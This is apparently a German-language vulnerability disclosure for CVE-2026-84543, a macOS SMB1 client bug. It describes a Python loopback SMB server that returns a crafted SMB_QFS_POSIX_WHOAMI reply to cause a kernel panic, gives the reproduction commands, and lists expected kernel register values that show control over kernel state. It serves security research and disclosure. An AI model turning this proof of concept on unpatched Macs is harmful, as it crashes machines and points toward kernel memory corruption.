Proof of Concept

Dieses Proof of Concept führt voraussichtlich zu einem Kernel-Panic und einem Neustart eines betroffenen Macs.

Die betroffenen Test-Builds, die während der Recherche verwendet wurden, waren macOS Tahoe 26.4 (25E246) und macOS 26.5 Beta 4 (25F5068a). Apple hat CVE-2026-84543 in macOS Golden Gate 27, Tahoe 26.7 und Sequoia 15.8 behoben.

Enthaltenes PoC

smb1_unix_whoami_poc.py ist der Loopback-Server zur Beweiserfassung. Er verwendet ausschließlich die Python-Standardbibliothek und:

• liest den _COMM_PAGE_ASB_TARGET_KERN_VALUE des aktuellen Boots auf Apple Silicon aus;
• stellt eine Gast-SMB1-Freigabe über Loopback bereit;
• gibt eine manipulierte SMB_QFS_POSIX_WHOAMI-Antwort (0x0202) zurück, um den inkonsistenten Zustand aus Zähler und Zeiger zu erzeugen; und
• gibt UNIX_INFO2-Attribute (0x020B) zurück, die erkennbare Canary-Werte für die Herkunft der Panic-Register enthalten.

Reproduktion

In Terminal A:

cd poc
sudo python3 smb1_unix_whoami_poc.py \
  --bind 127.0.0.1 \
  --port 445 \
  --log /tmp/CVE-2026-84543-poc.log

Notieren Sie den ausgegebenen ASB_TARGET_KERN_VALUE; er wird beim Booten zufällig generiert.

In Terminal B:

mkdir -p ~/mnt/cve-2026-84543
mount_smbfs //[email protected]/share ~/mnt/cve-2026-84543

Erwartete Registerbeziehungen

Mit T gleich dem beim Booten ausgegebenen Kernel-Wert-Canary:

x8  = T
x9  = T
x10 = T & 0x1ff
x11 = T
x12 = T & 0x7fffffff
x13 = 0
x14 = (T & 0x7fffffff) - 1

Die spezifischen Bits in x8, x9 und x11 belegen die Herkunft. Die beobachteten Beziehungen stellen eine bytegenaue Verbindung zwischen den Antwortfeldern des Servers und dem Live-Zustand der Kernel-Register her.